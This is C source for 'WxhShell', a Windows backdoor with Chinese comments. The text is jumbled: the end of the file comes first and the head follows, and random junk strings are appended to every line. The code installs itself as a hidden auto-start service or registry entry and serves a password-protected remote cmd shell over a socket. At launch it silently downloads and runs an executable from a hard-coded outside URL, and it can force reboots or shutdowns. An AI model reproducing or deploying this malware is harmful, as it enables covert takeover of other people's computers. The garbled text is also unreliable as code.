    if(Boot(SHUTDOWN)) n'FwM\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T(?HMyg3  
    else { W-~n|PX8+  
    closesocket(wsh); L5YnG_M&  
    ExitThread(0); rNOES3[~  
    } `YBkF  
    break; Y]|:?G7l]  
    } 9O*_L:4o  
  // 获取shell 9O.YOiW  
  case 's': { +UN<Zp7I/  
    CmdShell(wsh); qO1tj'U<  
    closesocket(wsh); p,g1eb|E  
    ExitThread(0); ~p0c3*  
    break; bvBHYf:^  
  } Fm_y&7._  
  // 退出 ^D^JzEy'?C  
  case 'x': { ti5HrKIw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YcX/{L[9o  
    CloseIt(wsh); [4&#*@  
    break; IeX^4 rc(  
    } bizTd  
  // 离开 i+3fhV  
  case 'q': { pv!oz2w1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Ng'<7  
    closesocket(wsh); #EGA#SKoq  
    WSACleanup(); owpWz6k7  
    exit(1); 7}O.wUKw%  
    break; y&[y=0!  
        } {Rq1HH  
  } lfsqC};#\  
  } 3oZ=k]\  
=QJRMF  
  // 提示信息 H5cV5E0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m(iR|Zx  
} A=zPL q{Sb  
  } ''OfS D_g  
s pLZ2]A  
  return; ?YM4b5!3T  
} 1_'? JfY-  
d'6|:z9c  
// shell模块句柄 VQI(Vp|  
int CmdShell(SOCKET sock) @Y,7'0U  
{ yqXH:757~  
STARTUPINFO si; YNrp}KQ  
ZeroMemory(&si,sizeof(si)); GV6K/T :  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4F3x@H'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wu9=N ^x  
PROCESS_INFORMATION ProcessInfo; RE$`YCs5  
char cmdline[]="cmd"; 1{Mcs%W;w5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qH,l#I\CG  
  return 0; nnb8Gcr  
} z\ss4  
Z+`{7G?4m  
// 自身启动模式 ^[-el=oKn0  
int StartFromService(void) Hy"x  
{ &M/0g]4p  
typedef struct |IoB?^_h  
{ raVA?|'g~  
  DWORD ExitStatus; e pCLM_yA  
  DWORD PebBaseAddress; w=h1pwY  
  DWORD AffinityMask;  8@{OR"Ec  
  DWORD BasePriority; Zc |/{$>:W  
  ULONG UniqueProcessId; ;|p$\26S)%  
  ULONG InheritedFromUniqueProcessId; Ch()P.n?  
}   PROCESS_BASIC_INFORMATION; Sw`RBN[ yo  
0n~Zz  
PROCNTQSIP NtQueryInformationProcess; WnUweSdW  
H`8``#-|@S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GsbAlNP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; plu$h-$d  
qzw'zV  
  HANDLE             hProcess; 1pv}]&X  
  PROCESS_BASIC_INFORMATION pbi; ]{ BE r*  
MaBYk?TR~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7J28JK  
  if(NULL == hInst ) return 0; C.^Ven  
8By,#T".  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iz(u=/*\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \7MHaQvS   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WD;Y~|  
S|rgCh!h  
  if (!NtQueryInformationProcess) return 0; b96%")  
B{oU,3U>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kY,U8a3!  
  if(!hProcess) return 0; 04%S+y.6&Y  
MC 0TaP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fl Jp4-nx  
`6y{.$ z  
  CloseHandle(hProcess); y~ G.V,0  
~'5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PN~@  
if(hProcess==NULL) return 0; sG~<M"znV  
{:c]|^w6  
HMODULE hMod; vvB(r!  
char procName[255]; j7FN\ cz  
unsigned long cbNeeded; =.|J!x  
O=)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y $g$x<7  
wdzOFDA  
  CloseHandle(hProcess); Z3 ;!l  
FtufuL?JS  
if(strstr(procName,"services")) return 1; // 以服务启动 <?D[9Mk$  
'tN25$=V&W  
  return 0; // 注册表启动 !@u>A_  
} Vh3Ijn  
H7+X&#s%  
// 主模块 R j~  
int StartWxhshell(LPSTR lpCmdLine) D2YZ9e   
{ oIGrA-T}  
  SOCKET wsl; %or,{mmiM:  
BOOL val=TRUE; TGuiNobD  
  int port=0; t3Z_Dp~\  
  struct sockaddr_in door; b1pQ`qt  
5ep/h5*/  
  if(wscfg.ws_autoins) Install(); 6#}93Dgv4  
` b !5^W  
port=atoi(lpCmdLine); +^rh[>W  
*5sBhx  
if(port<=0) port=wscfg.ws_port; JB</euyV  
_u"nvgVz9  
  WSADATA data; %CZ-r"A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~mV"i7VX  
Q|}a R:4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bG&"9b_c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T0Yiayt  
  door.sin_family = AF_INET; < `qRA]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ggt DN{t  
  door.sin_port = htons(port); rdJm{<  
sDqe(x}a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W$dn_9W  
closesocket(wsl); ?%R w(E  
return 1; F Kc;W  
} ?3z-_8#  
kH*Pn'  
  if(listen(wsl,2) == INVALID_SOCKET) { zWw2V}U!  
closesocket(wsl); aYL|@R5;e  
return 1; 6Dws,_UAZ4  
} [#" =yzR<3  
  Wxhshell(wsl); "`}~~.q  
  WSACleanup(); /|{,sWf2  
7Y=cn_ wU  
return 0; r#WT`pav  
"%WgT2)m.  
} j$fAq\B  
J MX6yV  
// 以NT服务方式启动 `Yc _5&"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L~{_!Q  
{ g1(Xg.  
DWORD   status = 0; RhF>T&Q  
  DWORD   specificError = 0xfffffff; IC/(R! Crj  
>,C4rC+:XN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L;_c|\%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zHB_{(o7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2.}R  
  serviceStatus.dwWin32ExitCode     = 0; #)+- lPe  
  serviceStatus.dwServiceSpecificExitCode = 0; XA0 (f*  
  serviceStatus.dwCheckPoint       = 0; 9D@$i<D:  
  serviceStatus.dwWaitHint       = 0; ?<X(]I.j  
~>G]_H]?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ydl jw  
  if (hServiceStatusHandle==0) return; O@8pC+#`Z  
wbbqt0un  
status = GetLastError(); (lA.3 4.p  
  if (status!=NO_ERROR) FHy76^h>e  
{ NCeaL-y7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;SwC&.I  
    serviceStatus.dwCheckPoint       = 0; r'/;O  
    serviceStatus.dwWaitHint       = 0; &'|B =7  
    serviceStatus.dwWin32ExitCode     = status; ,reJ(s  
    serviceStatus.dwServiceSpecificExitCode = specificError; v|Jlf$>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Y?t@dd  
    return; x!S;SU  
  } 9V1cdb~?"T  
xIbMs4'iEx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S{F-ttS"  
  serviceStatus.dwCheckPoint       = 0; x  FJg  
  serviceStatus.dwWaitHint       = 0; xc 1A$EY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9G?ldp8  
} ! U0z"  
ul7o%Hs  
// 处理NT服务事件,比如:启动、停止 A Ayv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -=$2p0" R  
{ :bM+&EP  
switch(fdwControl) Z%o7f6P0IX  
{ C.a5RF0  
case SERVICE_CONTROL_STOP: Gu(lI ~  
  serviceStatus.dwWin32ExitCode = 0; Y8s;w!/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F:FMeg  
  serviceStatus.dwCheckPoint   = 0; 3 &&+Y X  
  serviceStatus.dwWaitHint     = 0; q?{}3 dPC  
  { sOFa!bdPW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1m-+a  
  } 5vp|?-\h>  
  return; <zfe }0  
case SERVICE_CONTROL_PAUSE: M.%shrJ/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PB'0?b}fab  
  break; J07O:cjyu  
case SERVICE_CONTROL_CONTINUE: mLL$|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J}g~uW  
  break; y%BX]~  
case SERVICE_CONTROL_INTERROGATE: O;XG^s@5  
  break; w*LbH]l<-  
}; 7| YrdK<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /"AvOh*  
} K!{5 [G  
WnxEu3U  
// 标准应用程序主函数 `"y`AY/N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _."E%|5  
{ ,TC~~EWq  
y>o>WN<q  
// 获取操作系统版本 "ORzWnE4U  
OsIsNt=GetOsVer(); QEJGnl676  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E:A!wS`"  
R"xp%:li  
  // 从命令行安装 H3FW52pjX  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z[#IfbYt  
Ueyw;Y  
  // 下载执行文件 : iCM=k  
if(wscfg.ws_downexe) { lglYJ,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I lG:X)V%  
  WinExec(wscfg.ws_filenam,SW_HIDE); \P?ToTTV  
} L/r{xS  
R9dP,<2  
if(!OsIsNt) { BA+_C]%ZJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 L'kq>1QWf  
HideProc(); r2eQ{u{nX  
StartWxhshell(lpCmdLine); hY8#b)l~lu  
}  WR.x&m>  
else bkQ3c-C<  
  if(StartFromService()) u}jrfKd E  
  // 以服务方式启动 n.$(}A  
  StartServiceCtrlDispatcher(DispatchTable); ijZ>:B2:  
else *Zkss   
  // 普通方式启动 H~9=&p[Q  
  StartWxhshell(lpCmdLine); ?b$3ob"  
=Sxol>?t  
return 0; ! Tfij(91  
} F>Jg~ FD*  
iB bbr,  
!oMt_k X  
uEd,rEB>  
=========================================== MV936  
b~Z=:'m8  
D s-`  
y4F^|kS) [  
,b' 4CF  
aWvd`qA9r  
" f'{>AKi=C  
'h *Zc}Q:  
#include <stdio.h> TlPVHJyt  
#include <string.h> n(&*kfk  
#include <windows.h> gue(C(~.k_  
#include <winsock2.h> 1L[S*X  
#include <winsvc.h> MW@DXbKVl  
#include <urlmon.h> XVUf,N,  
~77 5soN  
#pragma comment (lib, "Ws2_32.lib") J?jeYW   
#pragma comment (lib, "urlmon.lib") :R+],m il  
\C/z%Hf7-  
#define MAX_USER   100 // 最大客户端连接数 k&GHu0z  
#define BUF_SOCK   200 // sock buffer a!t V6H  
#define KEY_BUFF   255 // 输入 buffer *T4ge|zUc  
5u,sx664  
#define REBOOT     0   // 重启 epVH.u%  
#define SHUTDOWN   1   // 关机 YNM\pX'  
8~5|KO >F  
#define DEF_PORT   5000 // 监听端口 oh&Y< d0  
XZO<dhZX:  
#define REG_LEN     16   // 注册表键长度 OV|Z=EwJ  
#define SVC_LEN     80   // NT服务名长度 yX9B97XyC  
_i@x@:_l  
// 从dll定义API 1q!sKoJ<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M {xie  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eTZ`q_LfI1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iQqbzOY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D44I"TgqD  
G%OpO.Wf  
// wxhshell配置信息 k+\7B}7F  
struct WSCFG { l<RfRqjw  
  int ws_port;         // 监听端口 6Bdyf(t  
  char ws_passstr[REG_LEN]; // 口令 {HuLuP 0t  
  int ws_autoins;       // 安装标记, 1=yes 0=no @,vv\M0)p  
  char ws_regname[REG_LEN]; // 注册表键名 OK\]*r  
  char ws_svcname[REG_LEN]; // 服务名 M(S{1|,V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  y h-9u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }#YQg0(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r5)f82pQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A_Gp&acs$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =g2\CIlVU6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )dg UmN  
0*{p Oe/u  
}; Kq6qXc\x  
WguV{#=H  
// default Wxhshell configuration 6DZ2pT:  
struct WSCFG wscfg={DEF_PORT, &ps6s.K  
    "xuhuanlingzhe", ro]L}oE+  
    1, APuu_!ez1  
    "Wxhshell", Ph\F'xROe  
    "Wxhshell", ?M<|r11}  
            "WxhShell Service", uN&M\(  
    "Wrsky Windows CmdShell Service", =+Tsknq  
    "Please Input Your Password: ", ~[;{   
  1, &|] Fg5  
  "http://www.wrsky.com/wxhshell.exe", H2]BMkum  
  "Wxhshell.exe" R7t bxC  
    }; gD40y\9r  
g{&PrE'e9  
// 消息定义模块 F\P!NSFZV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {q2<KRU2+#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XAlD ww  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EM~7#Y  
char *msg_ws_ext="\n\rExit."; B2"+Hwbk  
char *msg_ws_end="\n\rQuit."; )XZ,bz*jn  
char *msg_ws_boot="\n\rReboot..."; iy9VruT<x  
char *msg_ws_poff="\n\rShutdown..."; Ko}7$2^  
char *msg_ws_down="\n\rSave to "; &@Yoj%%  
WFks|D:sB  
char *msg_ws_err="\n\rErr!"; 7x:F!0:  
char *msg_ws_ok="\n\rOK!"; pb= HVjW<  
6KBHRt  
char ExeFile[MAX_PATH]; .=aMjrME  
int nUser = 0; 3?6Ber y=  
HANDLE handles[MAX_USER]; X)FQ%(H<  
int OsIsNt; g&8.A(  
W.sD2f  
SERVICE_STATUS       serviceStatus; ,DQ >&_DK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ],#ZPUn  
m&{rBz0  
// 函数声明 $q=hcu  
int Install(void); ^:$j:w?j  
int Uninstall(void); PE +qYCpP9  
int DownloadFile(char *sURL, SOCKET wsh); )%1&/uN)  
int Boot(int flag); M{y|7e%K  
void HideProc(void); P:vX }V |[  
int GetOsVer(void); k.ww-nH  
int Wxhshell(SOCKET wsl); j[BgP\&,  
void TalkWithClient(void *cs); [/n' @cjNZ  
int CmdShell(SOCKET sock); _c,&\ wl$  
int StartFromService(void); uof0Oc.  
int StartWxhshell(LPSTR lpCmdLine); yl|R:/2V  
PK9Qm'W b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0honHP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 13]y)(  
RH1U_gp4 ]  
// 数据结构和表定义 f61]`@Bk  
SERVICE_TABLE_ENTRY DispatchTable[] = P}b Dn;  
{ ZW`HDrP`  
{wscfg.ws_svcname, NTServiceMain}, `jt(DKB+J  
{NULL, NULL} ROcY'-  
}; l %]<-  
$::51#^Wg  
// 自我安装 S:DcfR=a  
int Install(void) Gu<W:n[  
{ y;*My#  
  char svExeFile[MAX_PATH]; ',<{X (#(  
  HKEY key; vsxvHot=  
  strcpy(svExeFile,ExeFile); nT(!HDH  
R#r h  
// 如果是win9x系统,修改注册表设为自启动 lb=2*dFJ1  
if(!OsIsNt) { K>`m_M"LA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iFXUKGiV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dICnB:SSB  
  RegCloseKey(key); *s 1D\/H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~r7DEy|+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vWZ>Hf]`L  
  RegCloseKey(key); ]M02>=1  
  return 0; xow6@M,  
    } )@?Qt2  
  } U!3uaz'  
} lU >)n  
else { ) >-D={  
K]lb8q}Z~  
// 如果是NT以上系统,安装为系统服务 _&6juBb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~`a#h#  
if (schSCManager!=0) Ta!m%=8  
{ _CYmG"mY  
  SC_HANDLE schService = CreateService exGhkt~  
  ( +sV#Z,  
  schSCManager, 4'7 v!I9  
  wscfg.ws_svcname, #w[q.+A  
  wscfg.ws_svcdisp, _Y:Ja0,  
  SERVICE_ALL_ACCESS, C"V?yDy2~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X}ey0)g%  
  SERVICE_AUTO_START, loAfFK>g  
  SERVICE_ERROR_NORMAL, (dw3'W  
  svExeFile, OoA5!HEh  
  NULL, g%KGF)+H  
  NULL, 5G dY7t_1  
  NULL, IDL^0:eg<.  
  NULL, y'i:%n}I  
  NULL bF8xQ<i~Y  
  ); t(LlWd  
  if (schService!=0) ^$T!@ +:  
  { .F=<r-0  
  CloseServiceHandle(schService); MC[ `<W)u  
  CloseServiceHandle(schSCManager); H-PW(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 tx0y  
  strcat(svExeFile,wscfg.ws_svcname); !kjr> :)x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v>yGsJnV'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); , .NG.Q4f  
  RegCloseKey(key); [7ek;d;'t  
  return 0; h|Teh-@A5  
    } ".Q!8j"@f  
  } +A.a~Stt  
  CloseServiceHandle(schSCManager); 5r2ctde)Y  
} 3e!a>Gl*  
} 6kmZ!9w0|  
jQw`*Y/,  
return 1; $TH'"XK  
} ,AFC1t[0  
~ L i%  
// 自我卸载 qJAv=D  
int Uninstall(void) 4N0W& Dy  
{ ;^*+:e  
  HKEY key; vb80J<4  
b*F :l#  
if(!OsIsNt) { AU${0#WV_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /oix tO)  
  RegDeleteValue(key,wscfg.ws_regname); G Yy!`E  
  RegCloseKey(key); e P,XH{s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LbmB([p  
  RegDeleteValue(key,wscfg.ws_regname); 1zEZ\G  
  RegCloseKey(key); cxF?&0[mY  
  return 0; UVQa af  
  } %RK\Hz2q3  
} SBYMDKZ  
} WEY97_@  
else { xs83S.fHg  
!xx> lX5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ty,)mx){)  
if (schSCManager!=0) _|5FrN  
{ ~_^o?NE,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yqz[sz5+m  
  if (schService!=0) }i/2XmA )  
  { c<t3y7  
  if(DeleteService(schService)!=0) { qyG636i  
  CloseServiceHandle(schService); e8ig[:B>+  
  CloseServiceHandle(schSCManager); u^4"96aXJ  
  return 0; 1RUbY>K#U  
  } >stVsFdV)  
  CloseServiceHandle(schService); p'w"V6k('~  
  } U!-+v:SF  
  CloseServiceHandle(schSCManager); KE)D =P  
} 3I{ta/(  
} )su <Ji*  
P.H/H04+  
return 1; TF iM[  
} &s}@7htE  
%(7wZ0Z  
// 从指定url下载文件 ?3E_KGI  
int DownloadFile(char *sURL, SOCKET wsh) tX`[6`  
{ ff5 Lwf{{  
  HRESULT hr; i4n%EDQ  
char seps[]= "/"; 4\eX=~C>:  
char *token; BC0c c[x  
char *file; 6/WK((Fd  
char myURL[MAX_PATH]; la"A$Tbu~  
char myFILE[MAX_PATH]; G*w W&R)  
re 1k]  
strcpy(myURL,sURL); $rQFM[  
  token=strtok(myURL,seps); QGCdeE$K  
  while(token!=NULL) r)@&2b"q  
  { cTIwA:)D  
    file=token; CTrs\G  
  token=strtok(NULL,seps); TWR#MVMI  
  } w)y9!li  
SAo \H  
GetCurrentDirectory(MAX_PATH,myFILE); I3rnCd(  
strcat(myFILE, "\\"); rjf=qh5s  
strcat(myFILE, file); 2;(iTPz +  
  send(wsh,myFILE,strlen(myFILE),0); /5'<w(  
send(wsh,"...",3,0); )D-.7m.v]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _>)"+z^r  
  if(hr==S_OK) cZX&itVc:  
return 0; bZlLivi  
else )s7Tv#[  
return 1; "drh+oo.  
dK(%u9v  
} j{w,<Wt>  
eYX_V6c  
// 系统电源模块 zam0(^=  
int Boot(int flag) /zP)2q^  
{ T _9ZI|Jx  
  HANDLE hToken; $$;2jX"I  
  TOKEN_PRIVILEGES tkp; gwB> oi*OE  
a:%5.!Vd  
  if(OsIsNt) { hv8[_p`>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WQmiG=Dw^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <GmrKdM  
    tkp.PrivilegeCount = 1; hz|z&vyP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G~hILW^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iF_r'+j  
if(flag==REBOOT) { C05{,w?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cyP* QW[  
  return 0; BNoCE!  
} "91At b;hJ  
else { W]Y!ZfGnN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LW 3J$Am  
  return 0; }(%}"%$  
} `L[32B9  
  } LOG*K;v3  
  else { k@)m-K  
if(flag==REBOOT) { }b\q<sNE{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3R[J,go  
  return 0; E9*?G4P{l  
} 1YD.jU^;HD  
else { b|@op>UZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1~u\]Zi=D  
  return 0; j#>![km Mu  
} &EJ,k'7$  
} W9m[>-Ew  
Ri6 br  
return 1; =ZIFS  
}  eV=sDx  
./*,Thc  
// win9x进程隐藏模块 >Pd23TsN  
void HideProc(void) T:~W.3  
{  (mD:[|.  
PL_wa(}y]D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eKti+n.  
  if ( hKernel != NULL ) 2DqHqq9m  
  { SK}g(X7IWH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kQ'xs%Fw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? /X6x1PN  
    FreeLibrary(hKernel); x]+KO)I  
  } Y +yvv{01  
n.UM+2G  
return; >#n-4NZ;p9  
} OxGCpbh*7o  
G:ngio]G0  
// 获取操作系统版本 b%t9a\0V  
int GetOsVer(void) 1% %Tm"  
{ @!NHeH=pR  
  OSVERSIONINFO winfo; e[&3K<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :+^llz  
  GetVersionEx(&winfo); >b](v)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =0fx6V  
  return 1; OL"5A18;M  
  else <l/Qf[V  
  return 0; s/0FSv x  
} >:nJTr  
}'v ?Qq  
// 客户端句柄模块 F9J9pgVP  
int Wxhshell(SOCKET wsl) N^`Efpvg  
{ ,lYU#Hx*  
  SOCKET wsh; &L`p4AZ  
  struct sockaddr_in client; y'wW2U/ 1-  
  DWORD myID; KCT"a :\  
+Z(VWu6  
  while(nUser<MAX_USER) :%]R x&08  
{ uQ+$HzxX  
  int nSize=sizeof(client); V)jhyCL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YVp0}m  
  if(wsh==INVALID_SOCKET) return 1; -7VV5W  
1c~#]6[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e1}0f8%  
if(handles[nUser]==0) nW*Oo|p~=  
  closesocket(wsh); ~mo `  
else _JO @O^Ndd  
  nUser++; > o`RPWs  
  } @CUDD{1o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <"%h1{V  
%4K#<b"W  
  return 0; #T`+~tW'|  
} j" .6  
l Nto9  
// 关闭 socket [kkcV5I-  
void CloseIt(SOCKET wsh) n}kz&,  
{ D|#(zjl@  
closesocket(wsh); ?y@pR e$2  
nUser--; '2{o_<m  
ExitThread(0); nE%qm -  
} V7i`vo3Cc  
hIr^"kVK  
// 客户端请求句柄 ~Nh7C b _  
void TalkWithClient(void *cs) o-Arfc3Q  
{ bvTkS EN  
zz*[JIe  
  SOCKET wsh=(SOCKET)cs; q8]k]:r  
  char pwd[SVC_LEN]; # TF  
  char cmd[KEY_BUFF]; 7Wn]l!  
char chr[1]; r5wXuA,Um  
int i,j; UeQ% (f  
J/2pS  
  while (nUser < MAX_USER) { "!?Ya{  
Xq^{P2\w1  
if(wscfg.ws_passstr) { " N4]e/.V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); niBpbsO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SJ@_eir\o  
  //ZeroMemory(pwd,KEY_BUFF); p4_uY7^6  
      i=0; `"4EE}eQc  
  while(i<SVC_LEN) { IDZn ,^  
(E[hl  
  // 设置超时 xc3Q7u!|  
  fd_set FdRead; X[6 z  
  struct timeval TimeOut; aa]v7d  
  FD_ZERO(&FdRead); JpiKZG@L  
  FD_SET(wsh,&FdRead); cXH?'q 'vZ  
  TimeOut.tv_sec=8; wyM3|%RZ  
  TimeOut.tv_usec=0; -3 Hq1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mpx.n]O.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xoaQ5u  
 JwcP[w2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jX@9849@  
  pwd=chr[0]; CB)#; |aDB  
  if(chr[0]==0xd || chr[0]==0xa) { Z^S!w;eu  
  pwd=0; SBt: `,  
  break; OD|&qsbL  
  } 0l*/_;wo  
  i++; VvKH]>*  
    } U"Oq85vY  
:wm^04<i   
  // 如果是非法用户,关闭 socket EZV$1pa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1XRVbQt  
} XzsK^E0R  
5H2|:GzUc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )G&OX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kfl+8UR5=  
=QRZ(2Wq  
while(1) { ZS]e}]Zwp  
ESI}+  
  ZeroMemory(cmd,KEY_BUFF); !2}Q9a  
,;y^|X  
      // 自动支持客户端 telnet标准   o 8U2vMH  
  j=0; 'Ud5;?{  
  while(j<KEY_BUFF) { U>XGJQ<NS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4pW#4/4  
  cmd[j]=chr[0]; 8Qh/=Ir  
  if(chr[0]==0xa || chr[0]==0xd) { _i#Z'4?2E  
  cmd[j]=0; GS%Dn^l  
  break; I'wAgf6W  
  } 2BY:qz%:  
  j++; lhU#/}Z  
    } &D#v0!e~x  
X(9Ff=0.~  
  // 下载文件 KNhH4K2iP8  
  if(strstr(cmd,"http://")) { DGnswN%n1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lLv0lf  
  if(DownloadFile(cmd,wsh)) xB#E&}Ho  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cjk5><}`H7  
  else - _(!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Pi67Kj,  
  } IcZ'KV  
  else { qMkP/BjV  
+nuQC{^>  
    switch(cmd[0]) { $nW>]S\|  
